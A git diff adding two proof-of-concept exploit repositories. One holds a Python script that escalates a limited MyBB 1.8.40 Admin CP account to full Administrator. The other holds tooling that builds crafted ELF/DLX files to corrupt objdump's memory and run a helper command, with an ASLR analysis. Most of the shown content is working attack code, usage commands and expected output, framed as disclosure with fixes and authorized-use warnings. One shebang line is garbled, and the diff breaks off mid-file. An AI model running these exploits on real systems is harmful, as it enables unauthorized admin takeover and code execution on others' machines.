OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/mybb-limited-acp-to-admin/README.md b/mybb-limited-acp-to-admin/README.md new file mode 100644 index 0000000..7c85c33 --- /dev/null +++ b/mybb-limited-acp-to-admin/README.md @@ -0,0 +1,165 @@ +# MyBB 1.8.40 Limited ACP User Manager to Full Administrator + +This repository contains a portable proof of concept for a MyBB 1.8.40 Admin CP privilege-boundary issue. + +A non-super Admin CP account with only the user-management module permission can create a new user in the Administrator group (`gid=4`). The created account inherits full Administrator-group Admin CP permissions, including access to modules the source account was explicitly denied. + +## Status + +- Target verified: MyBB `1.8.40` / version code `1840` +- Latest release confirmed: MyBB 1.8.40, released 28 May 2026 +- Live test date: 18 June 2026 +- PoC language: Python 3 standard library only + +The older regular-user buddy/ignore-list username XSS chain is patched in 1.8.40 as CVE-2026-45115. This repo is for a different latest-version issue: limited ACP user-management privilege escalation to full Administrator. + +## Impact + +The final impact is full MyBB application administration: + +- Read and modify board configuration. +- Create, edit, ban, or delete users. +- Access forum data exposed through the Admin CP. +- Change content, permissions, settings, themes, templates, and persistence mechanisms available to Administrators. + +This has the same final application-root impact as the earlier stored-XSS-to-Admin-CP chain, but the precondition is different and stricter: the attacker needs access to an ACP account that can manage users. + +## Preconditions + +The source account must: + +- Be authenticated to the Admin CP. +- Have `user-users = 1` permission. +- Not need to be a super administrator. +- Not need `user-admin_permissions = 1`. +- Not need access to unrelated Admin CP modules such as Configuration, Templates, Tools, or Forums. + +## Root Cause + +The Admin CP add-user flow forwards submitted group fields directly into the user data handler: + +```php +"usergroup" => $mybb->get_input('usergroup'), +"additionalgroups" => $additionalgroups, +"displaygroup" => $mybb->get_input('displaygroup'), +``` + +The add-user form renders every non-guest user group, including `gid=4` Administrator: + +```php +$query = $db->simple_select("usergroups", "gid, title", "gid != '1'", array('order_by' => 'title')); +``` + +The user data handler still accepts group choices unconditionally: + +```php +function verify_usergroup() +{ + return true; +} +``` + +There is no effective authorization check that the acting ACP user is allowed to grant an ACP-capable group. + +## Usage + +Use only on systems you own or are explicitly authorized to test. + +With limited ACP credentials: + +```bash +python3 poc/mybb_limited_acp_to_admin.py \ + --url http://127.0.0.1:8110 \ + --admin-user limited_user_manager \ + --admin-pass 'LimitedPassword123!' \ + --new-user promoted_admin \ + --new-pass 'NewAdminPassword123!' \ + --new-email promoted_admin@example.test +``` + +With an existing limited ACP `adminsid` cookie: + +```bash +python3 poc/mybb_limited_acp_to_admin.py \ + --url https://forum.example.test \ + --adminsid '' \ + --new-user promoted_admin \ + --new-pass 'NewAdminPassword123!' \ + --new-email promoted_admin@example.test +``` + +For local labs using self-signed TLS, add `--no-verify-tls`. + +## Expected Output + +The PoC verifies the boundary crossing by comparing access to an Admin CP module before and after creating the new account: + +```text +target : http://127.0.0.1:8110 +source_probe_status : HTTP 200 +source_probe_denied : yes +add_form_status : HTTP 200 +post_key_found : yes +create_status : HTTP 200 +new_admin_login : adminsid issued +new_probe_status : HTTP 200 +new_probe_denied : no + +Result: full Administrator account created and verified +``` + +`source_probe_denied=yes` and `new_probe_denied=no` show that the source account lacked the tested permission while the newly created gid-4 account gained it. + +## Live Verification Performed + +I verified this against a fresh 1.8.40 install: + +- Downloaded `mybb_1840.zip` from MyBB resources. +- Verified SHA-256: `380fb63c50c63f52c747ba05d1002ad77f2f0b1d254db213092501dd5e9375dc`. +- Installed through the official installer using SQLite. +- Confirmed code version from `inc/class_core.php`: `1.8.40 (1840)`. +- Seeded a non-super ACP account with only `user-users = 1`. +- Confirmed that account received `Access Denied` for `config-settings`. +- Used the Admin CP add-user form to create a new `gid=4` Administrator. +- Logged in as the new account and confirmed `config-settings` was no longer denied. + +The Python PoC was also run against the live lab and produced the expected verified output above. + +## Patched Prior Chain + +The previous MyBB 1.8.39 buddy-selector stored XSS relied on stock templates passing attacker-controlled username data into a single-quoted inline JavaScript call: + +```html +onclick="UserCP.selectBuddy('{$buddy['uid']}', '{$buddy['username']}');" +``` + +In stock MyBB 1.8.40, the affected templates now call `UserCP.selectBuddy()` without the username argument: + +```html +onclick="UserCP.selectBuddy();" +``` + +That removes the old username-to-inline-JS sink in the default template set. + +## Suggested Fix + +When an ACP user creates or edits accounts, reject any primary, additional, or display group with Admin CP capability unless the acting user is a super administrator or has an explicit high-trust permission to grant ACP-capable groups. + +Concrete checks should cover: + +- Add-user flow. +- Edit-user flow. +- Inline/mass usergroup update flow. +- Any plugin hooks or alternate paths that call the user data handler with group fields. + +Defense-in-depth: make `UserDataHandler::verify_usergroup()` enforce group grant rules instead of returning `true`. + +## References + +- [MyBB 1.8.40 version page](https://mybb.com/versions/1.8.40/) +- [MyBB 1.8.40 release announcement](https://blog.mybb.com/2026/05/28/mybb-1-8-40-released-security-maintenance-release/) +- [MyBB releases on GitHub](https://github.com/mybb/mybb/releases) + +## Responsible Use + +This PoC is for authorized security testing, regression verification, and defensive remediation. Do not use it against systems without permission. diff --git a/mybb-limited-acp-to-admin/SECURITY.md b/mybb-limited-acp-to-admin/SECURITY.md new file mode 100644 index 0000000..f37e1fe --- /dev/null +++ b/mybb-limited-acp-to-admin/SECURITY.md @@ -0,0 +1,7 @@ +# Security Policy + +This repository documents an authorized local verification of a MyBB privilege-boundary issue. + +Use the PoC only against systems you own or have explicit permission to test. If you are validating a production forum, coordinate with the forum owner and preserve evidence without exposing user data. + +Suggested disclosure path: report MyBB core security issues through the MyBB Project security process at https://mybb.com/security/. diff --git a/mybb-limited-acp-to-admin/poc/mybb_limited_acp_to_admin.py b/mybb-limited-acp-to-admin/poc/mybb_limited_acp_to_admin.py new file mode 100644 index 0000000..c70d37a --- /dev/null +++ b/mybb-limited-acp-to-admin/poc/mybb_limited_acp_to_admin.py @@ -0,0 +1,235 @@ +from __future__ import annotations + +import argparse +import html +import http.cookiejar +import re +import ssl +import sys +import urllib.error +import urllib.parse +import urllib.request +from dataclasses import dataclass +from http.cookies import SimpleCookie +from typing import Iterable + + +class PocError(RuntimeError): + pass + + +@dataclass +class HttpResponse: + status: int + reason: str + headers: object + body: str + url: str + + +class MyBBClient: + def __init__(self, base_url: str, admin_path: str, verify_tls: bool = True) -> None: + self.base_url = base_url.rstrip("/") + self.admin_path = admin_path.strip("/") + self.cookies = http.cookiejar.CookieJar() + handlers: list[urllib.request.BaseHandler] = [ + urllib.request.HTTPCookieProcessor(self.cookies) + ] + if not verify_tls: + handlers.append( + urllib.request.HTTPSHandler( + context=ssl._create_unverified_context() + ) + ) + self.opener = urllib.request.build_opener(*handlers) + + def set_adminsid(self, adminsid: str) -> None: + cookie = SimpleCookie() + cookie["adminsid"] = adminsid + morsel = cookie["adminsid"] + parsed = urllib.parse.urlparse(self.base_url) + domain = parsed.hostname or "localhost" + self.cookies.set_cookie( + http.cookiejar.Cookie( + version=0, + name=morsel.key, + value=morsel.value, + port=None, + port_specified=False, + domain=domain, + domain_specified=False, + domain_initial_dot=False, + path="/", + path_specified=True, + secure=parsed.scheme == "https", + expires=None, + discard=True, + comment=None, + comment_url=None, + rest={}, + rfc2109=False, + ) + ) + + def url(self, path: str) -> str: + return f"{self.base_url}/{path.lstrip('/')}" + + def admin_url(self, query: str = "") -> str: + suffix = f"?{query}" if query else "" + return self.url(f"{self.admin_path}/index.php{suffix}") + + def request(self, url: str, data: dict[str, object] | None = None) -> HttpResponse: + encoded = None + if data is not None: + encoded = urllib.parse.urlencode(data, doseq=True).encode() + req = urllib.request.Request( + url, + data=encoded, + headers={"User-Agent": "MyBB-limited-acp-to-admin-poc/1.0"}, + method="POST" if data is not None else "GET", + ) + try: + with self.opener.open(req, timeout=20) as resp: + raw = resp.read() + body = raw.decode(resp.headers.get_content_charset() or "utf-8", "replace") + return HttpResponse(resp.status, resp.reason, resp.headers, body, resp.url) + except urllib.error.HTTPError as exc: + raw = exc.read() + body = raw.decode(exc.headers.get_content_charset() or "utf-8", "replace") + return HttpResponse(exc.code, exc.reason, exc.headers, body, exc.url) + + def login_acp(self, username: str, password: str) -> str: + resp = self.request( + self.admin_url(), + { + "do": "login", + "username": username, + "password": password, + }, + ) + adminsid = self.cookie_value("adminsid") + if not adminsid: + raise PocError(f"ACP login failed or did not issue adminsid; HTTP {resp.status}") + return adminsid + + def cookie_value(self, name: str) -> str: + for cookie in self.cookies: + if cookie.name == name: + return cookie.value + return "" + + +def extract_post_key(body: str) -> str: + patterns = [ + r'name=["\']my_post_key["\']\s+value=["\']([^"\']+)["\']', + r'value=["\']([^"\']+)["\']\s+name=["\']my_post_key["\']', + ] + for pattern in patterns: + match = re.search(pattern, body, re.I) + if match: + return html.unescape(match.group(1)) + raise PocError("Could not find my_post_key in add-user form") + + +def response_has_access_denied(body: str) -> bool: + return "Access Denied" in body or "access denied" in body.lower() + + +def require_not_denied(resp: HttpResponse, context: str) -> None: + if response_has_access_denied(resp.body): + raise PocError(f"{context}: target returned Access Denied") + + +def print_kv(rows: Iterable[tuple[str, object]]) -> None: + width = max(len(key) for key, _ in rows) + for key, value in rows: + print(f"{key:<{width}} : {value}") + + +def main(argv: list[str]) -> int: + parser = argparse.ArgumentParser( + description="Create a full MyBB Administrator from a limited ACP user-manager account." + ) + parser.add_argument("--url", required=True, help="Base forum URL") + parser.add_argument("--admin-path", default="admin", help="Admin CP path, default: admin") + parser.add_argument("--admin-user", help="Limited ACP username") + parser.add_argument("--admin-pass", help="Limited ACP password") + parser.add_argument("--adminsid", help="Existing adminsid cookie for the limited ACP account") + parser.add_argument("--new-user", required=True, help="Username for the new gid-4 Administrator") + parser.add_argument("--new-pass", required=True, help="Password for the new Administrator") + parser.add_argument("--new-email", required=True, help="Email for the new Administrator") + parser.add_argument( + "--probe-module", + default="config-settings", + help="Admin module to request for source/new-account comparison, default: config-settings", + ) + parser.add_argument( + "--no-verify-tls", + action="store_true", + help="Disable TLS certificate verification for local/self-signed labs.", + ) + args = parser.parse_args(argv) + + if not args.adminsid and not (args.admin_user and args.admin_pass): + parser.error("provide either --adminsid or both --admin-user/--admin-pass") + + source = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls) + if args.adminsid: + source.set_adminsid(args.adminsid) + else: + source.login_acp(args.admin_user, args.admin_pass) + + source_probe = source.request(source.admin_url(f"module={urllib.parse.quote(args.probe_module)}")) + source_denied = response_has_access_denied(source_probe.body) + + add_form = source.request(source.admin_url("module=user-users&action=add")) + require_not_denied(add_form, "add-user form") + post_key = extract_post_key(add_form.body) + + create = source.request( + source.admin_url("module=user-users&action=add"), + { + "my_post_key": post_key, + "username": args.new_user, + "password": args.new_pass, + "confirm_password": args.new_pass, + "email": args.new_email, + "usergroup": "4", + "displaygroup": "0", + }, + ) + + created_like_success = create.status in (200, 302) + + new_admin = MyBBClient(args.url, args.admin_path, verify_tls=not args.no_verify_tls) + new_admin.login_acp(args.new_user, args.new_pass) + new_probe = new_admin.request(new_admin.admin_url(f"module={urllib.parse.quote(args.probe_module)}")) + new_denied = response_has_access_denied(new_probe.body) + + print_kv( + [ + ("target", args.url.rstrip("/")), + ("source_probe_status", f"HTTP {source_probe.status}"), + ("source_probe_denied", "yes" if source_denied else "no"), + ("add_form_status", f"HTTP {add_form.status}"), + ("post_key_found", "yes"), + ("create_status", f"HTTP {create.status}"), + ("new_admin_login", "adminsid issued" if new_admin.cookie_value("adminsid") else "no adminsid"), + ("new_probe_status", f"HTTP {new_probe.status}"), + ("new_probe_denied", "yes" if new_denied else "no"), + ] + ) + + if not created_like_success or new_denied or not new_admin.cookie_value("adminsid"): + raise PocError("Exploit did not verify") + + print("\nResult: full Administrator account created and verified") + return 0 + + +if __name__ == "__main__": + try: + raise SystemExit(main(sys.argv[1:])) + except PocError as exc: + print(f"error: {exc}", file=sys.stderr) + raise SystemExit(1) diff --git a/objdump-dlx-calc-poc/.gitattributes b/objdump-dlx-calc-poc/.gitattributes new file mode 100644 index 0000000..67ad4ad --- /dev/null +++ b/objdump-dlx-calc-poc/.gitattributes @@ -0,0 +1,6 @@ +*.py text eol=lf +*.sh text eol=lf +P text eol=lf +*.bin binary +*.notes text eol=lf +*.md text eol=lf diff --git a/objdump-dlx-calc-poc/.gitignore b/objdump-dlx-calc-poc/.gitignore new file mode 100644 index 0000000..7b29018 --- /dev/null +++ b/objdump-dlx-calc-poc/.gitignore @@ -0,0 +1,6 @@ +__pycache__/ +*.pyc +calc_hit.log +objdump-poc.out +core +core.* diff --git a/objdump-dlx-calc-poc/P b/objdump-dlx-calc-poc/P new file mode 100755 index 0000000..39892f7 --- /dev/null +++ b/objdump-dlx-calc-poc/P @@ -0,0 +1,4 @@ +#!/usr/bin/env sh +echo "CALC_HELPER_RAN $(date -u +%Y-%m-%dT%H:%M:%SZ)" >> ./calc_hit.log +/mnt/c/WINDOWS/system32/calc.exe >/dev/null 2>&1 & +exit 0 diff --git a/objdump-dlx-calc-poc/README.md b/objdump-dlx-calc-poc/README.md new file mode 100644 index 0000000..17874cc --- /dev/null +++ b/objdump-dlx-calc-poc/README.md @@ -0,0 +1,124 @@ +# objdump dlx calc poc + +Small repro for an `objdump -g` crash-to-calc path in the DLX ELF backend. + +This is an ACE-style local parser bug: the input is a crafted ELF/DLX object file, and the trigger is running `objdump` on it. It is not a network RCE by itself. The demo payload starts the tiny helper named `P`, and that helper opens calculator. + +Tested against a binutils-gdb master build from commit: + +```text +c311f4d37f31ff3fbb5db6923abcdf93bb75a37b +``` + +## whats in here + +- `payloads/*.bin` - crafted ELF/DLX object files to feed to `objdump` +- `payloads/*.notes` - notes for each generated payload variant +- `P` - helper script that writes `calc_hit.log` and starts Windows calculator from WSL +- `run_dlx_calc_poc.sh` - tries the payload variants until one hits +- `generate_objdump_dlx_calc_poc.py` - regenerates the payload variants +- `dlx_chain_builder.py` - small builder used by the generator +- `docs/aslr-bypass-analysis.md` - notes on why this is profile-dependent +- `tools/search_pointer_transform.py` - Z3 sanity check for fixed pointer transforms + +The payload files are named `.bin` because they are raw binary files, but the file format inside is ELF/DLX. + +## why there are multiple payloads + +ASLR stays on. Because of that, one exact payload is not guaranteed to land every time. The files in `payloads/` are a small set of guesses for the address layout seen during testing. + +The generator emits the original profile plus a WSL/Ubuntu 24.04 profile measured against the pinned `dlx-elf` build. The second profile keeps ASLR on but uses stable relative offsets observed in the target process: + +```text +layout=wsl2404 off_io=-0x3690 off_sec=0xbb0 rbase=0x220 +buf_delta=0x702fff00 or 0x6f300000 +system_delta=0x7042e500 or 0x7043e4ff +``` + +That is an ASLR-on relative-delta strategy, not a universal single-shot info-leak bypass. A miss can still happen, so the runner keeps the retry loop. + +More detail is in `docs/aslr-bypass-analysis.md`. + +So a plain crash like this does not always mean the PoC failed: + +```text +Segmentation fault (core dumped) +``` + +The useful signal is either calculator opening, or `calc_hit.log` getting a fresh `CALC_HELPER_RAN ...` line. + +## quick run + +From WSL: + +```bash +cd /path/to/objdump-dlx-calc-poc +chmod +x P +export PATH="$PWD:$PATH" +MAX_TRIES=50 bash run_dlx_calc_poc.sh /path/to/objdump +cat calc_hit.log +``` + +Example with a local binutils build: + +```bash +MAX_TRIES=50 bash run_dlx_calc_poc.sh /opt/binutils-master/binutils/objdump +``` + +## manual run without the helper loop + +If you want to do the same thing by hand and keep ASLR on: + +```bash +cd /path/to/objdump-dlx-calc-poc +chmod +x P +export PATH="$PWD:$PATH" +rm -f calc_hit.log + +for p in payloads/*.bin; do + echo "$p" + /path/to/objdump -g "$p" >/dev/null 2>&1 || true + if [ -s calc_hit.log ]; then + echo "HIT $p" + cat calc_hit.log + break + fi +done +``` + +Same thing as a one-liner: + +```bash +rm -f calc_hit.log; for p in payloads/*.bin; do echo "$p"; /path/to/objdump -g "$p" >/dev/null 2>&1 || true; if [ -s calc_hit.log ]; then echo "HIT $p"; cat calc_hit.log; break; fi; done +``` + +## regenerating payloads + +```bash +rm -rf payloads +python3 generate_objdump_dlx_calc_poc.py --out-dir payloads +``` + +The runner will also regenerate `payloads/` automatically if the folder is missing or empty. + +## what the bug is doing + +At a high level, the crafted DLX object gives `objdump -g` relocation data that causes the DLX backend to write outside the intended debug section while processing relocations. The PoC shapes those writes so that, when the process layout lines up, control flow reaches the helper command `P`. + +That is why `PATH` matters. The helper is run by name, so this line is needed: + +```bash +export PATH="$PWD:$PATH" +``` + +Without it, you can still get the segfault, but the helper might not be found. + +## cleanup + +Runtime files are not needed: + +```bash +rm -f calc_hit.log objdump-poc.out +``` + +The generated crash after a hit is expected. The process usually does not exit cleanly after the helper is reached. diff --git a/objdump-dlx-calc-poc/dlx_chain_builder.py b/objdump-dlx-calc-poc/dlx_chain_builder.py new file mode 100644 index 0000000..dfc4526 --- /dev/null +++ b/objdump-dlx-calc-poc/dlx_chain_builder.py @@ -0,0 +1,328 @@ +#!/usr/bin/env pythoimport argparse +import struct +from pathlib import Path + + +EM_DLX = 0x5AA5 +R_DLX_PCREL26 = 9 +R_DLX_RELOC_32 = 3 +MASK26 = 0x03FFFFFF + + +def p16(v): + return struct.pack(">H", v & 0xFFFF) + + +def p32(v): + return struct.pack(">I", v & 0xFFFFFFFF) + + +def strtab(strings): + blob = b"\x00" + offsets = {"": 0} + for s in strings: + if s and s not in offsets: + offsets[s] = len(blob) + blob += s.encode("ascii") + b"\x00" + return blob, offsets + + +def sym(name, value, size, info, shndx): + return p32(name) + p32(value) + p32(size) + bytes([info, 0]) + p16(shndx) + + +def build_elf(debug_size, relocs): + di = b"\x00" * debug_size + tx = b"\x00" * 4 + sec_names = [ + ".text", + ".debug_info", + ".rel.debug_info", + ".symtab", + ".strtab", + ".shstrtab", + ] + shstr, shoff = strtab(sec_names) + names = [f"s{i}" for i in range(len(relocs))] + str_blob, stroff = strtab(names) + + symtab = b"" + symtab += sym(0, 0, 0, 0, 0) + symtab += sym(0, 0, 0, 0x03, 1) + symtab += sym(0, 0, 0, 0x03, 2) + for i, reloc in enumerate(relocs): + _offset, value = reloc[:2] + symtab += sym(stroff[f"s{i}"], value, 4, 0x12, 2) + + rb = b"" + for i, reloc in enumerate(relocs): + offset, _value = reloc[:2] + r_type = reloc[2] if len(reloc) > 2 else R_DLX_PCREL26 + r_info = ((3 + i) << 8) | r_type + rb += p32(offset) + p32(r_info) + + o = 52 + text_off = o + o += len(tx) + debug_off = o + o += len(di) + rel_off = o + o += len(rb) + sym_off = o + o += len(symtab) + str_off = o + o += len(str_blob) + shstr_off = o + o += len(shstr) + shdr_off = o + + def shdr(name, stype, flags, offset, size, link, info, align, entsize): + return ( + p32(name) + + p32(stype) + + p32(flags) + + p32(0) + + p32(offset) + + p32(size) + + p32(link) + + p32(info) + + p32(align) + + p32(entsize) + ) + + hdrs = b"" + hdrs += shdr(0, 0, 0, 0, 0, 0, 0, 0, 0) + hdrs += shdr(shoff[".text"], 1, 6, text_off, len(tx), 0, 0, 4, 0) + hdrs += shdr(shoff[".debug_info"], 1, 0, debug_off, len(di), 0, 0, 1, 0) + hdrs += shdr(shoff[".rel.debug_info"], 9, 0x40, rel_off, len(rb), 4, 2, 4, 8) + hdrs += shdr(shoff[".symtab"], 2, 0, sym_off, len(symtab), 5, 3, 4, 16) + hdrs += shdr(shoff[".strtab"], 3, 0, str_off, len(str_blob), 0, 0, 1, 0) + hdrs += shdr(shoff[".shstrtab"], 3, 0, shstr_off, len(shstr), 0, 0, 1, 0) + + ident = b"\x7fELF" + bytes([1, 2, 1, 0]) + b"\x00" * 8 + ehdr = ( + ident + + p16(1) + + p16(EM_DLX) + + p32(1) + + p32(0) + + p32(0) + + p32(shdr_off) + + p32(0) + + p16(52) + + p16(0) + + p16(0) + + p16(40) + + p16(7) + + p16(6) + ) + return ehdr + tx + di + rb + symtab + str_blob + shstr + hdrs + + +def decode_dlx_vallo(low26): + low26 &= MASK26 + if low26 & 0x03000000: + return (~(low26 | 0xFC000000) + 1) & 0xFFFFFFFF + return low26 + + +def low26_to_signed(low26): + low26 &= MASK26 + if low26 & 0x02000000: + return low26 - 0x04000000 + return low26 + + +def word_to_low26(word): + return word & MASK26 + + +def symbol_for_low26(current_word, final_low26): + final_low26 &= MASK26 + signed_final = low26_to_signed(final_low26) + if signed_final == -0x02000000: + raise ValueError("DLX PCREL26 cannot encode final low26 0x02000000") + vallo = decode_dlx_vallo(word_to_low26(current_word)) + return (vallo + signed_final) & 0xFFFFFFFF + + +def encodable_low26(final_low26): + return (final_low26 & MASK26) != 0x02000000 + + +def apply_dlx_word(memory, offset, symbol_value): + cur = int.from_bytes(bytes(memory[offset : offset + 4]), "big") + vallo = decode_dlx_vallo(cur & MASK26) + val = ((symbol_value & 0xFFFFFFFF) - vallo) & 0xFFFFFFFF + if val & 0x80000000: + val_signed = val - 0x100000000 + else: + val_signed = val + if abs(val_signed) > 0x01FFFFFF: + raise ValueError(f"relocation would be out of range: {val_signed:#x}") + new_word = (cur & 0xFC000000) | (val_signed & MASK26) + memory[offset : offset + 4] = new_word.to_bytes(4, "big") + + +class ChainBuilder: + def __init__(self, debug_size, rbase, memory_base, memory): + self.debug_size = debug_size + self.rbase = rbase + self.memory_base = memory_base + self.memory = bytearray(memory) + self.relocs = [] + self.notes = [] + self._initialized_addresses = set() + + def _mem_index(self, target): + idx = target - self.memory_base + if idx < 0 or idx + 4 > len(self.memory): + raise ValueError(f"target {target:#x} outside modeled memory") + return idx + + def _raw_reloc(self, offset, symbol_value, note): + idx = len(self.relocs) + self.relocs.append((offset & 0xFFFFFFFF, symbol_value & 0xFFFFFFFF)) + self.notes.append((idx, offset, symbol_value & 0xFFFFFFFF, note)) + self._set_address_field(idx, offset & 0xFFFFFFFF) + return idx + + def add_pi32_reloc(self, target, delta, note): + actual_idx = len(self.relocs) + (2 if target < 0 else 0) + self._set_address_field(actual_idx, target & 0xFFFFFFFF) + if target < 0: + self._patch_negative_address_for_index(actual_idx) + idx = len(self.relocs) + self.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_32)) + self.notes.append((idx, target, delta & 0xFFFFFFFF, note)) + self._set_address_field(idx, target & 0xFFFFFFFF) + mem_idx = self._mem_index(target) + cur = int.from_bytes(bytes(self.memory[mem_idx : mem_idx + 4]), "big") + new = (cur + (delta & 0xFFFFFFFF)) & 0xFFFFFFFF + self.memory[mem_idx : mem_idx + 4] = new.to_bytes(4, "big") + + def _set_address_field(self, reloc_idx, address): + if reloc_idx in self._initialized_addresses: + return + field = self.rbase + reloc_idx * 32 + 8 + mem_idx = field - self.memory_base + if 0 <= mem_idx and mem_idx + 8 <= len(self.memory): + self.memory[mem_idx : mem_idx + 8] = (address & 0xFFFFFFFF).to_bytes(8, "little") + self._initialized_addresses.add(reloc_idx) + + def _positive_write_low26(self, target, final_low26, note): + idx = self._mem_index(target) + cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big") + symv = symbol_for_low26(cur, final_low26) + self._raw_reloc(target, symv, note) + apply_dlx_word(self.memory, idx, symv) + + def _patch_negative_address_for_index(self, actual_idx): + h = self.rbase + actual_idx * 32 + 12 + self._positive_write_low26(h - 1, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword bytes 0..2") + self._positive_write_low26(h, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword byte 3") + + def write_low26(self, target, final_low26, note): + if target < 0: + actual_idx = len(self.relocs) + 2 + self._set_address_field(actual_idx, target & 0xFFFFFFFF) + self._patch_negative_address_for_index(actual_idx) + self._raw_reloc(target & 0xFFFFFFFF, 0, f"{note} placeholder before simulation") + idx = self._mem_index(target) + cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big") + symv = symbol_for_low26(cur, final_low26) + self.relocs[-1] = (target & 0xFFFFFFFF, symv) + self.notes[-1] = (actual_idx, target, symv, note) + apply_dlx_word(self.memory, idx, symv) + else: + self._positive_write_low26(target, final_low26, note) + + def write_bytes4(self, target, data): + if len(data) != 4: + raise ValueError("write_bytes4 needs exactly 4 bytes") + prior_idx = self._mem_index(target - 1) + prior_low2 = self.memory[prior_idx] & 3 + low_a = ( + (prior_low2 << 24) + | (data[0] << 16) + | (data[1] << 8) + | data[2] + ) + low_b = ((data[0] & 3) << 24) | (data[1] << 16) | (data[2] << 8) | data[3] + if encodable_low26(low_a) and encodable_low26(low_b): + self.write_low26(target - 1, low_a, f"stage write bytes at {target:#x}") + self.write_low26(target, low_b, f"finish write bytes at {target:#x}") + return + + tail_idx = self._mem_index(target + 2) + tail_low2 = self.memory[tail_idx] & 3 + for filler in range(0x10000): + low_tail = (tail_low2 << 24) | (data[3] << 16) | filler + if encodable_low26(low_tail) and encodable_low26(low_a): + self.write_low26(target + 2, low_tail, f"fallback tail byte for {target:#x}") + self.write_low26(target - 1, low_a, f"fallback first three bytes at {target:#x}") + return + raise ValueError(f"no DLX byte decomposition for target {target:#x}") + + +def parse_hex_bytes(value): + value = value.replace(" ", "").replace(":", "") + if len(value) % 2: + raise argparse.ArgumentTypeError("hex byte string must have an even length") + return bytes.fromhex(value) + + +def parse_write(spec): + off, data = spec.split(":", 1) + return int(off, 0), parse_hex_bytes(data) + + +def parse_patch(spec): + off, data = spec.split(":", 1) + return int(off, 0), parse_hex_bytes(data) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--debug-size", type=int, default=144) + parser.add_argument("--rbase", type=lambda x: int(x, 0), required=True) + parser.add_argument("--memory-base", type=lambda x: int(x, 0), required=True) + parser.add_argument("--memory-hex", type=parse_hex_bytes) + parser.add_argument("--memory-size", type=lambda x: int(x, 0)) + parser.add_argument("--patch-mem", action="append", type=parse_patch, default=[]) + parser.add_argument("--write4", action="append", type=parse_write, required=True) + parser.add_argument("--out", type=Path, required=True) + parser.add_argument("--notes", type=Path) + args = parser.parse_args() + + if args.memory_hex is None: + if args.memory_size is None: + parser.error("either --memory-hex or --memory-size is required") + memory = bytearray(args.memory_size) + else: + memory = bytearray(args.memory_hex) + if args.memory_size is not None and args.memory_size > len(memory): + memory.extend(b"\x00" * (args.memory_size - len(memory))) + + for off, data in args.patch_mem: + idx = off - args.memory_base + if idx < 0 or idx + len(data) > len(memory): + parser.error(f"--patch-mem offset {off:#x} outside modeled memory") + memory[idx : idx + len(data)] = data + + builder = ChainBuilder(args.debug_size, args.rbase, args.memory_base, memory) + for target, data in args.write4: + builder.write_bytes4(target, data) + + args.out.write_bytes(build_elf(args.debug_size, builder.relocs)) + print(args.out.resolve()) + print(f"relocations={len(builder.relocs)}") + if args.notes: + lines = [] + for idx, target, symv, note in builder.notes: + lines.append(f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}") + args.notes.write_text("\n".join(lines) + "\n", encoding="ascii") + + +if __name__ == "__main__": + main() diff --git a/objdump-dlx-calc-poc/docs/aslr-bypass-analysis.md b/objdump-dlx-calc-poc/docs/aslr-bypass-analysis.md new file mode 100644 index 0000000..d3f1690 --- /dev/null +++ b/objdump-dlx-calc-poc/docs/aslr-bypass-analysis.md @@ -0,0 +1,94 @@ +# ASLR bypass analysis + +This repository contains an ASLR-on exploit for a local heap/libio profile. It +does not contain a deterministic universal ASLR bypass for the unmodified +`objdump` process. + +## What works + +The payload set can reach the helper command `P` with ASLR enabled when the +heap and libc low-word layout matches one of the generated profiles. + +The current generator emits: + +- `orig`: the first measured profile. +- `wsl2404`: offsets measured against the pinned `dlx-elf` build on + WSL/Ubuntu 24.04. + +The `wsl2404` profile uses: + +```text +off_io=-0x3690 +off_sec=0xbb0 +rbase=0x220 +buf_delta=0x702fff00 or 0x6f300000 +system_delta=0x7042e500 or 0x7043e4ff +``` + +## Why argv two-stage is not enough + +A deterministic leak-then-exploit route would need this sequence in one +`objdump` process: + +1. Process file 1 and leak libc. +2. Generate file 2 with the exact `system` delta. +3. Process file 2 with the same ASLR layout. + +That path did not hold for this trigger. In local GDB measurements with +`objdump -W -r file1 file2`, the DWARF relocation side effect that mutates +`.debug_info` ran for the first object only. The second object's relocation +table printed unmodified symbol names (`s0`, `s1`, and so on). + +FIFO staging is also blocked in unmodified `objdump`: `display_file()` calls +`get_file_size()`, and `get_file_size()` rejects non-regular files before +`bfd_openr()`. + +## Why a fixed single-file transform is not universal + +The useful dynamic value in the corrupted `FILE` object is the existing libc +pointer at `FILE+0x68`: + +```text +_IO_2_1_stderr_ offset = 0x2044e0 +system offset = 0x58750 +``` + +For a page-aligned libc base, converting `P = base + 0x2044e0` into +`S = base + 0x58750` requires carry/borrow information from lower +little-endian bytes. + +Counterexample over low 32 bits: + +```text +base_low = 0x0000: P bytes = e0 44 20 00, S bytes = 50 87 05 00 +base_low = 0x8000: P bytes = e0 c4 20 00, S bytes = 50 07 06 00 +``` + +The original byte 2 and byte 3 are identical in both cases (`20 00`), but the +desired byte 2 differs (`05` versus `06`) based on original byte 1. + +The DLX relocation additions available to the payload operate on big-endian +8/16/32-bit fields in the target byte stream. Their carries flow from higher +memory offsets toward lower memory offsets. They cannot make final byte 2 +depend on original byte 1. PC-relative writes can set constants, but they do +not introduce the missing dependency. + +`tools/search_pointer_transform.py` is a sanity check for this reasoning. It +asks Z3 for fixed sequences consisting of one 32-bit relocation plus up to a +chosen number of 8/16-bit correction relocations, then brute-verifies any +candidate over all page-aligned low-32-bit bases. + +Example: + +```bash +python3 tools/search_pointer_transform.py --mode r32-first --max-extra 4 +python3 tools/search_pointer_transform.py --mode r32-last --max-extra 4 +``` + +Both forms found no universal transform up to four correction relocations in +the tested operation class. + +## Result + +The PoC should be described as ASLR-on and profile-dependent. It is not a +universal single-file ASLR bypass. diff --git a/objdump-dlx-calc-poc/generate_objdump_dlx_calc_poc.py b/objdump-dlx-calc-poc/generate_objdump_dlx_calc_poc.py new file mode 100644 index 0000000..bb4e559 --- /dev/null +++ b/objdump-dlx-calc-poc/generate_objdump_dlx_calc_poc.py @@ 